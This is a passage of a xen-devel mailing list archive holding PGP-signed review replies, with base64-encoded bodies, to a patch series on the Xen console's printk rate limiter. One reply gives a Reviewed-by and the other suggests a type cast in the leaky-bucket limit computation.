Content-Type: multipart/mixed; boundary="------------a0yX22pbC0zf6aMfqF79JBuW";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
Message-ID: <c4bffcbe-e949-455f-9cd5-4e9e2c79367d@vates.tech>
Subject: Re: [PATCH v3 1/4] xen/console: use bool as return value from
 printk_ratelimit()
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-2-dmukhin@ford.com>
In-Reply-To: <20260715201902.2984407-2-dmukhin@ford.com>

--------------a0yX22pbC0zf6aMfqF79JBuW
Content-Type: multipart/mixed; boundary="------------nu35DXeRavTnRPgJ0aiE8fPr"

--------------nu35DXeRavTnRPgJ0aiE8fPr
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAyMjoyNCwgZG11a2hpbkBmb3JkLmNvbSBhIMOpY3JpdMKgOg0K
PiBGcm9tOiBEZW5pcyBNdWtoaW4gPGRtdWtoaW5AZm9yZC5jb20+DQo+IA0KPiB7X18sfXBy
aW50a19yYXRlbGltaXQoKSBhcmUgcHJlZGljYXRlcy4gTWFrZSB0aGF0IHByb25vdW5jZWQg
YnkgdXBkYXRpbmcgdGhlDQo+IHJldHVybiB2YWx1ZSB0byBib29sZWFuLg0KPiANCj4gTm90
IGEgZnVuY3Rpb25hbCBjaGFuZ2UuDQo+IA0KPiBTaWduZWQtb2ZmLWJ5OiBEZW5pcyBNdWto
aW4gPGRtdWtoaW5AZm9yZC5jb20+DQo+IEFja2VkLWJ5OiBKYW4gQmV1bGljaCA8amJldWxp
Y2hAc3VzZS5jb20+DQoNClJldmlld2VkLWJ5OiBUZWRkeSBBc3RpZSA8dGVkZHkuYXN0aWVA
dmF0ZXMudGVjaD4NCg==
--------------nu35DXeRavTnRPgJ0aiE8fPr
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrg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emLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------nu35DXeRavTnRPgJ0aiE8fPr--

--------------a0yX22pbC0zf6aMfqF79JBuW--

--------------DpM3Pzucz8cW7nRnUf8QBy4e
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpYowcFAwAAAAAACgkQZg+p0QLLz9BS
jgv9GmPE0sSk/vSbVuFUfZdPuh3DL3FK3krwfUu6RxgerkUw781CItsH/HpOeSJkbvPKqWXSYLaf
cfMdOzK+5avtKD1rK4WvLTEwEMO5ecnDOl03USJGx4gqY6kKaf4LiYbs4grPFovZQHQJH8XQ/ioU
qVIrsKKUF7U7Q2sOJGPSqBjZbuM/OMw0KXSZwRZCp6eY3OAFW4w1gV+fnaXfmXv7OOCcHDFX/wJ2
/3bgpCcreFuUHJZcWQmte8bd5FiDcVuI0NXn4ezBGuZNVytuLEbyZv4D10osJNZ8iaBlI2qBulDe
SQpYyEa6+H5oxjN262x2Pk0OzzQDkltngaqrvk8O9QBZHX9DRLjMNQptAv0OKZ++FGHl8e3gYeB7
/frF5XQP4uL7UeQUAqMUgoK2UeqGgYyovSFHy5wtmY59AbvW/Oo3iKEOUICGGoQiCBQKAJNDd8v4
8w3ORglYwISCCRCs1rx/LyfB+qNm/dXaAcEythxyU9RCz85p9K00B674emva
=fpRV
-----END PGP SIGNATURE-----

--------------DpM3Pzucz8cW7nRnUf8QBy4e--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:51:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:51:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363702.1615252 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIk8-0007Jo-K5; Thu, 16 Jul 2026 09:51:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363702.1615252; Thu, 16 Jul 2026 09:51:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIk8-0007Jh-Gl; Thu, 16 Jul 2026 09:51:00 +0000
Received: by outflank-mailman (input) for mailman id 1363702;
 Thu, 16 Jul 2026 09:50:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@swg.vates.tech>)
 id 1wkIk6-0007Jb-Vo
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:50:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkIk5-005zBn-TK
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:50:57 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@swg.vates.tech>)
 id 6a58a97b-e002-0a2a0a5209dd-0a2a450caa3e-18
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:50:57 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@swg.vates.tech>)
 id 6a58a981-f479-0a2a450c0019-b9ff1c23a365-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:50:57 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6a5603fd000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 09:50:49 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 17E3380400;
 Thu, 16 Jul 2026 11:50:49 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=KKnjUxDShBINea+gSpdmtApV9OnigBYq7Xvw8V4Vs04=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KJs+r9aMgC8whR/fEc4Vckj2iMc+gjPjNkRHSjcPvRaAqMGzBhVIIUazenLGfbSLB1y/oTs+4
 6ACzpiuaGkRbC/3D73buj/d1miOSmmxtJraB13ov0/+hkSCUSLXfapSDseNgnwofLrFX3wooduJ
 vzlEFRjDCoY9tjTlpL+im/cyCqaz8NUjA98dayNhfPYoaUPoEE1Pegs5/YEPWuM/IiogzR50Ap4
 C739WbRkndXWZibZpTKf/yreVpMSbshSFwsVhEmNXlAfOnbo0lfRm84P0727Y7g60IpQrPsdvT7
 3RyKWWTg08mDo7aA0kVE9UNOrg0uqCHN/d0Ayd90CMyA==
X-Zone-Loop: 69e909a7e8686654c799a0ef48dd3c9de519b992607c
x-campaign-type: default
x-transaction-id: 4c73a522-11a1-4a8b-84a4-cdd2f6fcd33a
x-swg-uid: 01-d0096ee1-5740-4e42-a281-5f6e8ea1c458
X-Mailer: Sweego
Message-ID:
 <1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5@vates.tech>
x-swg-bid: 1784195449.8631fc262581453bbf619ec5b2062170.19f6a5603fd000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 11:50:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-3-dmukhin@ford.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6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+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260715201902.2984407-3-dmukhin@ford.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------hrZXQ0Xn5AqFAMTU8LIvDMaN"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784195449319
X-purgate-ID: tlsNG-d25034/1784195457-018C5A5B-295EEA62/0/0
X-purgate-type: clean
X-purgate-size: 8753

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------hrZXQ0Xn5AqFAMTU8LIvDMaN
Content-Type: multipart/mixed; boundary="------------jGb0yb4EF79A0wwPmf2V941L";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
Message-ID: <bbd3bdff-d509-42d4-98aa-cf60a2aa8e07@vates.tech>
Subject: Re: [PATCH v3 2/4] xen/console: correct leaky-bucket rate limiter
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-3-dmukhin@ford.com>
In-Reply-To: <20260715201902.2984407-3-dmukhin@ford.com>

--------------jGb0yb4EF79A0wwPmf2V941L
Content-Type: multipart/mixed; boundary="------------piSvKiHin4DS0DlTG9kPz2Ff"

--------------piSvKiHin4DS0DlTG9kPz2Ff
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAyMjoyNCwgZG11a2hpbkBmb3JkLmNvbSBhIMOpY3JpdMKgOg0K
PiBGcm9tOiBEZW5pcyBNdWtoaW4gPGRtdWtoaW5AZm9yZC5jb20+DQo+IA0KPiBVc2UgZXhp
c3RpbmcgcHJpbnRrX3JhdGVsaW1pdF9tcyBhbmQgcHJpbnRrX3JhdGVsaW1pdF9idXJzdCB2
YXJpYWJsZXMgaW4NCj4gZG9fcHJpbnRrX3JhdGVsaW1pdCgpIGluc3RlYWQgb2YgaGFyZGNv
ZGVkIHZhbHVlcyA1MDAwIGFuZCAxMCByZXNwZWN0aXZlbHkuDQo+IA0KPiBFbnN1cmUgcmF0
ZSBsaW1pdGVyIGlzIGRpc2FibGVkIGlmIGVpdGhlciBwcmludGtfcmF0ZWxpbWl0X21zIG9y
DQo+IHByaW50a19yYXRlbGltaXRfYnVyc3QgaXMgMC4gTWFrZSBzdXJlIG5vIHVubmVjZXNz
YXJ5IGluaXRpYWxpemF0aW9uIGlzIGRvbmUNCj4gaW4gdGhlIGNvcm5lciBjYXNlLg0KPiAN
Cj4gQWxzbywgc2ltcGxpZnkgdGhlIGxpbWl0ZXIgY29kZSBieSB1c2luZyBtaW4oKS4NCj4g
DQo+IFNpZ25lZC1vZmYtYnk6IERlbmlzIE11a2hpbiA8ZG11a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N1cmUgZXhhY3RseSBob3cgdG8gd3JpdGUgaXQgd2l0aG91dCBiZWluZyB0b28gdmVyYm9z
ZSANCnRob3VnaCkuDQoNCmh0dHBzOi8vZ29kYm9sdC5vcmcvei9zeFdhUE0zY3INCg0KPiAr
ICAgIGlmICggIXRva3MgKQ0KPiArICAgICAgICB0b2tzID0gbGltaXQ7DQo+ICsNCj4gKyAg
ICBub3cgPSBOT1coKTsgLyogbnMgKi8NCj4gKyAgICBtcyA9IGRvX2Rpdihub3csIE1JTExJ
U0VDUygxKSk7DQo+ICAgDQo+ICAgICAgIHNwaW5fbG9ja19pcnFzYXZlKCZyYXRlbGltaXRf
bG9jaywgZmxhZ3MpOw0KPiAgICAgICB0b2tzICs9IG1zIC0gbGFzdF9tc2c7DQo+ICAgICAg
IGxhc3RfbXNnID0gbXM7DQo+IC0gICAgaWYgKCB0b2tzID4gKHJhdGVsaW1pdF9idXJzdCAq
IHJhdGVsaW1pdF9tcykpDQo+IC0gICAgICAgIHRva3MgPSByYXRlbGltaXRfYnVyc3QgKiBy
YXRlbGltaXRfbXM7DQo+ICsgICAgdG9rcyA9IG1pbih0b2tzLCBsaW1pdCk7DQo+ICAgICAg
IGlmICggdG9rcyA+PSByYXRlbGltaXRfbXMgKQ0KPiAgICAgICB7DQo+ICAgICAgICAgICB1
bnNpZ25lZCBpbnQgbG9zdCA9IG1pc3NlZDsNCg0KV2l0aCB0aGUgaWYgcGFydCBmaXhlZCBh
bmQgdGhlIGFkanVzdG1lbnRzIGluIHRoZSBsaW1pdCBjb21wdXRhdGlvbiANCihjYXN0IHRv
IHVuc2lnbmVkIGxvbmcgbG9uZyBiZWZvcmUgdGhlIG11bHRpcGx5KSA6DQpSZXZpZXdlZC1i
eTogVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVzLnRlY2g+DQoNClRlZGR5DQo=
--------------piSvKiHin4DS0DlTG9kPz2Ff
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zUQfFtofOP2xCRsDZiHAlQ0pF+aUjXQhPeP3IdpfWc8cyRLXF06Rk46YM
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lXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------piSvKiHin4DS0DlTG9kPz2Ff--

--------------jGb0yb4EF79A0wwPmf2V941L--

--------------hrZXQ0Xn5AqFAMTU8LIvDMaN
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpYqXgFAwAAAAAACgkQZg+p0QLLz9A/
Ygv9EC0rt4Xy39x9KhR5UuW6l/GfZdhaT+HT6/ENXIRQVEKgxOjDMfoOW1VI9U7ffi5bkSszwVW0
GvZJ7dqZDmhelCx6aHIXmLZD0s9kb7GV2eMRB3alo0475CVKtb4jOsfBJa85kZMPjayK0RgvPM8e
E2av8nX9exv3D+qRss4xLWc/I9jWgE35NtnPgyiqWbrMBsZvjiGxHIcMH37Rofl1BsREjfig0g9L
Ry65mlFIZjN+QiMy4LrqNSS0BP+OpYs4w3nS6m3P2BmqaX5htukroLoTzpdt8AMRrhfRSO/D0npr
CiLV5IBHMtGlFpwOAO3wco+VzZQYLgaFwU23UTV6NeL8SPjSt4P5wKjTI4wDzC0/0bUVR4vMMP8U
oEACP1/rvqrA7XIJK+IuZ/C1A7MpFLsM1eXcI8RjXdT3llyIb6/cxE4XevUEgRxvbtenCEzC0409
PKxlNtN7hmNnOikLvG8mhnfUSeP7gxEgA+Tvak78QKgiCGNW3rgGGbwN6Lvm
=e1gF
-----END PGP SIGNATURE-----

--------------hrZXQ0Xn5AqFAMTU8LIvDMaN--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:59:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:59:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363718.1615261 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIsb-0008Ou-Ch; Thu, 16 Jul 2026 09:59:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363718.1615261; Thu, 16 Jul 2026 09:59:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIsb-0008On-9h; Thu, 16 Jul 2026 09:59:45 +0000
Received: by outflank-mailman (input) for mailman id 1363718;
 Thu, 16 Jul 2026 09:59:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@swg.vates.tech>)
 id 1wkIsZ-0008Oh-Nx
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:59:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkIsY-007Jay-TZ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:59:42 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@swg.vates.tech>)
 id 6a58ab88-e002-0a2a0a5209dd-0a2a4506e962-6
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:59:42 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@swg.vates.tech>)
 id 6a58ab8e-195a-0a2a45060019-b9ff1c22b701-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:59:42 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6a5e0923000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 09:59:35 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id A5E7280B12;
 Thu, 16 Jul 2026 11:59:34 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=WvzgV0nfrh28eEQyEQl9W1Offk/A0iw09ROmAPqrh3c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=QEyIIu/uVOEorlUpuDnQ7BHOYf/48jA70mU1fqxks8E0cVmgUjrVb1EDF3gc/GA48NUsebCJP
 sDOe/vo7ZF0QuM+1xheoB6IybSsS1KZZdxmdx4a7HLq5UT5NVm8v6N598nvpmj2oJzq3r6532Bl
 Tkfs0PA+IuEHtH1a3BRCVviH27NVtzc9va2pBRJ7cvJwCthCzL+ZKChsuvObh+tXEz8m7q6XfiZ
 RnUw08gqwyGD295wfT8gNoOPRdSHEIhIvVkICdHW6edsHlISHbHJFcuiNB4Ind0G/3qtCqVGoXa
 4cunIyw66waOJAkuDwhYFnUXL14aYOe4IwWoPAvsfa4A==
X-Zone-Loop: 44d0352c147ece33c6ffa3ba8790cd893f0edf758894
x-campaign-type: default
x-transaction-id: 1bf51064-6a22-4a25-a1ac-e8e14c3c97d6
x-swg-uid: 01-b7a8771c-09dd-4d22-bd41-9fa1e7b6190b
X-Mailer: Sweego
Message-ID:
 <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
x-swg-bid: 1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5
